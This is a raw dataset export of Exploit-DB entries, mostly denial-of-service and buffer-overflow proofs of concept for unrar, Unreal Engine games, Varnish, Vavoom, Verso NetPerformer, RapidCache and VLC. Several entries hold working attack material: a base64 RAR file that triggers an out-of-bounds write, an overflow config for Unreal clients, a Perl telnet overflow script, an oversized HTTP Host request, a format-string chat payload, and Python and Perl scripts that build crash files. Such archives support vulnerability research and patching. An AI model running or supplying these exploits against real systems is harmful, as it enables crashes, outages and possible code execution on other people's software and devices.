deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42245
Description: unrar 5.40 - 'VMSF_DELTA' Filter Arbitrary Memory Write
Type: dos
Platform: multiple
Date: 2017-06-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1286&desc=6

It appears that the VMSF_DELTA memory corruption that was reported to Sophos AV in 2012 (and fixed there) was actually inherited from upstream unrar. For unknown reasons the information did not reach upstream rar or was otherwise lost, and the bug seems to have persisted there to this day.

The bug is sometimes called "Sophos Anti-Virus RAR VMSF_DELTA Filter Signedness Error", and referenced in the following links:
   https://community.sophos.com/kb/en-us/118424#six
   http://telussecuritylabs.com/threats/show/TSL20121207-01

The issue is in the following code:

    case VMSF_DELTA:
      {
        int DataSize=R[4],Channels=R[0],SrcPos=0,Border=DataSize*2;
        if ((uint)DataSize>=VM_MEMSIZE/2)
          break;

        // Bytes from same channels are grouped to continual data blocks,
        // so we need to place them back to their interleaving positions.
        for (int CurChannel=0;CurChannel<Channels;CurChannel++)
        {
          byte PrevByte=0;
          for (int DestPos=DataSize+CurChannel;DestPos<Border;DestPos+=Channels)
            Mem[DestPos]=(PrevByte-=Mem[SrcPos++]);
        }
      }
      break;

An attacker controls R[4] and R[0] arbitrarily. By setting R[0] to be sufficiently
large (perhaps 0x7FFFFFFF), an integer overflow can be caused in DataSize+CurChannel.
The result is a negative value of "DestPos", which allows the attacker to write 
out of bounds when setting Mem[DestPos].

A minimal test example that crashes unrar 5.40 and prior is base64-encoded below:

Base64-encoded RAR file to trigger the VMSF_DELTA issue:

UmFyIRoHAPlOcwAADgAAAAAAAAAAMAh0AAAmAI4AAAAAAAAAAhBBUiEAAAAAHQAGAAAAACBzdGRv
dXQgIVUMzRDNmBGByDAda+AXaSv4KvQr1K/oejL05mXmXmww5tEk8gA9k8nmieyeyeswuOR6cx69
a2Hd6zQwu3aoMDDwMEswADAAMD4P938w+dydoRFwAmwAAAAAvv////+/////+9W3QFgAAQAGAAAA
Ooimhd12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Given the wide prevalence of the unrar source code in third-party software, quite a few
downstream parties will be affected. The source code with the fixes can be found
under http://www.rarlab.com/rar/unrarsrc-5.5.5.tar.gz - downstream parties are
encouraged to quickly update and ship fixes.

Thanks to the RAR developers for their quick turnaround and helpful proactive audit
of their codebase which removed further issues.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42245.zip
Exploit-DB #34340
Description: Unreal Engine - 'ReceivedRawBunch()' Denial of Service
Type: dos
Platform: multiple
Date: 2010-07-15
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41737/info

Unreal Engine is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected server, resulting in denial-of-service conditions.

The following games which are developed with Unreal Engine are affected:

Rainbow Six: Raven Shield
Deus Ex
Land of the Dead
Postal 2
Rune
Shadow Ops
Unreal 2
Unreal Tournament
Unreal Tournament 2003
WarPath
XIII
Other games may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34340.zip
Exploit-DB #32386
Description: Unreal Engine - 'UnChan.cpp' Failed Assertion Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-09-16
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/31205/info

Unreal Engine is prone to a remote denial-of-service vulnerability because of an error in memory allocation.

An attacker could exploit this issue to crash applications that use the vulnerable engine and deny service to legitimate users.

The following applications using the engine are vulnerable:

Unreal Tournament 3.1.3
Unreal Tournament 2003
Unreal Tournament 2004
Dead Man's Hand
Pariah
WarPath
Postal 2
Shadow Ops

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32386.zip
Exploit-DB #34261
Description: Unreal Engine 2.5 - 'UpdateConnectingMessage()' Remote Stack Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2010-07-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41424/info

Unreal Engine is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check messages before copying them to an insufficiently sized memory buffer.

Successful exploits can allow remote attackers to execute arbitrary machine code in the context of the user running the application.

This issue affects games based on Unreal Engine 1, 2, and 2.5; other versions may be affected as well.


// Unreal engine <= 2.5 clients unicode buffer-overflow in UpdateConnectingMessage
// by Luigi Auriemma
// e-mail: aluigi@autistici.org
// web:    aluigi.org
//
// Advisory:
// http://aluigi.org/adv/unrealcbof-adv.txt
//
// - http://aluigi.org/testz/unrealts.zip
// - launch it: unrealts 7777 unrealcbof.txt
// - launch a game based on the Unreal engine
// - open the console (~)
// - type: open 127.0.0.1:7777
// - it's also possible to launch directly the game: game.exe 127.0.0.1:7777

// CHALLENGE can be random
CHALLENGE CHALLENGE=12345678

// GUID can be random
USES GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF PKG=bof FLAGS=1 SIZE=1 FNAME=bof

// some games like SWAT4 require that LEVEL of WELCOME and this PKG are the same
USES GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF PKG=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxxxxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA FLAGS=1 SIZE=1 FNAME=bof

// enable any possible type of download
DLMGR CLASS=Engine.ChannelDownload PARAMS=Enabled COMPRESSION=0
DLMGR CLASS=IpDrv.HTTPDownload PARAMS=http://127.0.0.1/ COMPRESSION=0

// LEVEL must contain the overflow and shellcode (the UDP packet must be max 576 bytes or less for some games)
WELCOME LEVEL=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxxxxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LONE=0
Exploit-DB #32362
Description: Unreal Engine 3 - Failed Memory Allocation Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-09-12
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/31140/info

Unreal Engine is prone to a remote denial-of-service vulnerability because of an error in memory allocation.

An attacker could exploit this issue to crash applications that use the vulnerable engine and deny service to legitimate users.

This issue affects Unreal Engine 3; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32362.zip
Exploit-DB #32125
Description: Unreal Tournament 2004 - Null Pointer Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-07-30
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/30427/info

Unreal Tournament 2004 is prone to a remote denial-of-service vulnerability because the application fails to handle NULL-pointer exceptions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Unreal Tournament 2004 v3369 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32125.zip
Exploit-DB #32127
Description: Unreal Tournament 3 - Memory Corruption (Denial of Service)
Type: dos
Platform: multiple
Date: 2008-07-30
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/30430/info

Unreal Tournament 3 is prone to multiple remote vulnerabilities, including a denial-of-service issue and a memory-corruption issue.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or cause the application to crash.

These issues affect the following versions:

Unreal Tournament 3 1.3beta4
Unreal Tournament 3 1.2 and prior

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32127.zip
Exploit-DB #38364
Description: Varnish Cache - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2013-03-05
Author: tytusromekiatomek

Exploit:
source: https://www.securityfocus.com/bid/58314/info

Varnish Cache is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the application, effectively denying service to legitimate users.

Varnish Cache 2.1.5 is vulnerable; other versions may also be affected. 

The following example data is available:

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length:[PII_REDACTED]9999999

HTTP/1.1 200 OK
Content-Length:[PII_REDACTED]
Exploit-DB #30528
Description: Vavoom 1.24 - 'p_thinker.cpp VThinker::BroadcastPrintf' Multiple Remote Overflows
Type: dos
Platform: multiple
Date: 2007-08-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25436/info
  
Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue.
  
An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.
  
Vavoom 1.24 is vulnerable; prior versions may also be affected. 

For the buffer-overflow vulnerability, the attacker opens the 'vavoom\basev\doom2\config.cfg' file, and adds the following lines:'alias bof "say aaa...(992_'a's)...aaa" name ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'' '
Exploit-DB #30527
Description: Vavoom 1.24 - str.cpp VStr::Resize Function Crafted UDP Packet Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-08-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25436/info
 
Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue.
 
An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.
 
Vavoom 1.24 is vulnerable; prior versions may also be affected. 

For the denial-of-service vulnerability, the attacker sends a packet to UDP port 26000 containing the following hexadecimal bytes: 80 02 ff 00
Exploit-DB #30526
Description: Vavoom 1.24 - sv_main.cpp Say Command Remote Format String
Type: dos
Platform: multiple
Date: 2007-08-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25436/info

Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Vavoom 1.24 is vulnerable; prior versions may also be affected. 

For the format-string vulnerability, an attacker sends a chat message containing '%n%n%n%n%s' string.
Exploit-DB #6237
Description: Ventrilo 3.0.2 - Null Pointer Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-08-13
Author: Luigi Auriemma

Exploit:
NULL pointer in Ventrilo 3.0.2

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6237.zip (2008-ventrilobotomy.zip)

# milw0rm.com [2008-08-13]
Exploit-DB #28542
Description: Verso NetPerformer Frame Relay Access Device - Telnet Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-09-13
Author: Arif Jatmoko

Exploit:
source: https://www.securityfocus.com/bid/19989/info

Verso NetPerformer Frame Relay Access Device (FRAD) is prone to a remotely exploitable buffer overflow in the telnet service.

A remote attacker can exploit this issue to execute arbitrary code on the affected device. Failed exploit attempts will likely crash the device, denying service to legitimate users.

# __START_CODE
#
#!/usr/bin/perl

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "23",

Proto    => "TCP"))
{
                 print "Modhiar'000 ..... killing netperformer ... $ARGV[0]
port 23...";
                 sleep(1);
                 print $socket "LOGIN " . "A" x 4550 . "BCDE\r\n";
                 sleep(1);
                 print $socket "PASS " . "\r\n";
                 close($socket);
}
else
{
                 print "Cannot connect to $ARGV[0]:23\n";
}
# __END_CODE
Exploit-DB #23543
Description: Vicomsoft RapidCache Server 2.0/2.2.6 - Host Argument Denial of Service
Type: dos
Platform: multiple
Date: 2004-01-15
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/9427/info

It has been reported that RapidCache server may be prone to a denial of service vulnerability that may allow an attacker to cause the server to crash or hang. The issue presents itself when an attacker sends an excessively large string value to the server via the 'Host' argument through an HTTP GET request.

RapidCache versions 2.2.6 and prior have been reported to be prone to this issue.

GET / HTTP/1.1
Accept: */*..Accept-Language: en-gb
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeBBBBXXX
X:8080
Connection: Keep-Alive
Exploit-DB #6252
Description: VideoLAN VLC Media Player 0.8.6i - '.tta' File Parsing Heap Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-08-16
Author: g_

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - Orange Bat advisory -

Name         	: VLC 0.8.6i
Class        	: Heap overflow
Published   	: 2008-08-16
Credit		: g_ (g_ # orange-bat # com)

- - Details -


\modules\demux\tta.c
 
    #define TTA_FRAMETIME [PII_REDACTED][PII_REDACTED]
	.
	.
	.
    int         i_seektable_size = 0, i;
	.
	.
	.
    /* Read the metadata */
    es_format_Init( &fmt, AUDIO_ES, VLC_FOURCC( 'T', 'T', 'A', '1' ) );
    fmt.audio.i_channels = GetWLE( &p_header[6] );
    fmt.audio.i_bitspersample = GetWLE( &p_header[8] );
[1] fmt.audio.i_rate = GetDWLE( &p_header[10] );

    p_sys->i_datalength = GetDWLE( &p_header[14] );
    p_sys->i_framelength = TTA_FRAMETIME * fmt.audio.i_rate;

[2] p_sys->i_totalframes = p_sys->i_datalength / p_sys->i_framelength +
                       ((p_sys->i_datalength % p_sys->i_framelength) ? 1 : 0);
    p_sys->i_currentframe = 0;

[3] i_seektable_size = sizeof(uint32_t)*p_sys->i_totalframes;
    p_seektable = (uint8_t *)malloc( i_seektable_size );
    stream_Read( p_demux->s, p_seektable, i_seektable_size ); 
    p_sys->pi_seektable = (uint32_t *)malloc(i_seektable_size);

    for( i = 0; i < p_sys->i_totalframes; i++ )
[4]      p_sys->pi_seektable[i] = GetDWLE( &p_seektable[i*4] );


[1] - we can set i_rate to 1
[2] - i_framelength = 1 (look for constant definition, it's ~1), 
	so i_totalframes = i_datalength
[3] - because we can set i_datalength to 2^30 and bacause 
	i_totalframes = i_datalength, multiplication will overflow
[4] - i_totalframes is positive (highest bit not set), so this loop will 
	spin 2^30 times, overwriting everything with data from the heap. 
	unfortunate thing is we have little control over what is written. 

- - Proof of concept -


http://www.orange-bat.com/adv/2008/vlc.dos.tta
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6252.tta (2008-vlc.dos.tta)

- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

(c) 2008 www.orange-bat.com 


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iEYEARECAAYFAkimwoYACgkQIUHRVUfOLgW8hgCgmPcqqIlcLQpmH8u6wB2fVOHs
Zv4AoNNYWhzdknZOnPuChysoak1rMRsx
=4K3f
-----END PGP SIGNATURE-----

# milw0rm.com [2008-08-16]
Exploit-DB #10334
Description: VideoLAN VLC Media Player 1.0.3 (OSX/Linux) - RTSP Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2009-12-06
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

###########################################################################
#
# VLC Media Player <= 1.0.3 RTSP Buffer Overflow PoC (OSX/Linux)
# Found By:     Dr_IDE
# Tested On:    OSX 10.6.2                      (v1.0.3)
# Tested On:    Ubuntu 9 [2.6.28-15-generic]    (v0.9.9a)
# Tested On:    No Go on Windows
#
###########################################################################

header1  = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")
header1 += ("\t<title>Playlist</title>\n")
header1 += ("\t<trackList>\n")
header1 += ("\t\t<track>\n")
header1 += ("\t\t\t<location>rtsp://localhost@localhost/foo/#{")

payload  = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000)

header2  = ("}</location>\n");
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");
header2 += ("\t\t\t</extension>\n");
header2 += ("\t\t</track>\n");
header2 += ("\t</trackList>\n");
header2 += ("</playlist>\n");

try:
    f1 = open("vlc_1.0.X.xspf","w")
    f1.write(header1 + payload + header2)
    f1.close()
    print("\nExploit file created!\n")
except:
    print "Error"

#[pocoftheday.blogspot.com]
Exploit-DB #35465
Description: VideoLAN VLC Media Player 1.0.5 - '.ape' Denial of Service
Type: dos
Platform: multiple
Date: 2011-03-15
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/46868/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 1.0.5 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl

###
# Title : VLC media player v1.0.5 (.ape) Local Crash PoC
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# platform : Windows 
# Impact : VLC media player Just Crashed
# Tested on : Windows XP SP3 Fran�ais 
# Target : VLC media player v1.0.5
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# Usage : 1 - Creat APE file ( Monkey's Audio Format )
#      =>    2 - Open APE file With VLC 1.0.5
#      =>    3 -  Crashed !!!
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |===========================================================|\n";
print "    |= [!] Name : VLC media player v1.0.5 (Monkey's File)      =|\n";
print "    |= [!] Exploit : Local Crash PoC                           =|\n";
print "    |= [!] Author : KedAns-Dz                                  =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                      =|\n";
print "    |===========================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00"; # APE Header
open(file , ">", "Kedans.ape"); # Evil File APE (16 bytes) 4.0 KB
print file $PoC;  
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file);  

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# Special Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz * His0k4 * Dr.0rYX 
# Cr3w-DZ * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
# [ Special Greets to '3em GE Class' & all 3Se Pupils , BACALORIA 2011 Enchallah 
# Messas Secondary School - Ain mlilla - 04300 - Algeria ] ,
# Greets All My Friends (cit� 1850 logts - HassiMessaouD - 30008 -Algeria ) ,
# ThanX : (hotturks.org) TeX * KadaVra ... all Muslimised Turkish Hackers .
# ThanX to : Kelvin.Xgr (kelvinx.net) Vietnamese Hacker .
#===============================================================================
Exploit-DB #12775
Description: VideoLAN VLC Media Player 1.0.6 - '.avi' Media File Crash (PoC)
Type: dos
Platform: multiple
Date: 2010-05-28
Author: Dr_IDE

Exploit:
#!/usr/bin/python

######################################################################################################
#
# VLC Media Player <=1.0.6 Malformed Media File Crash PoC
# Found By: Dr_IDE
# Tested:   Windows 7, Ubuntu 9, OSX 10.6.X
# Download: http://www.videolan.org
# Notes:	Register overwrites seem very unpredictable at best...
# Greets:	Offsec and Corelan Teams
#
######################################################################################################
 
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
 
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00"
"\x00\x00\x00\x00\x00")
 
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
 
filename = "VLC_Doesnt_Like_Videos_That_Are_Really_Zip_Files.AVI"
 
exploit = filename
exploit += "\x41" * 5000
 
print "[+] Writing file"

file = open('boom.avi','w'); #Anything here works, mpg, mp4, asf, mov etc...
file.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header);
file.close()

print "[+] Exploit file created!!"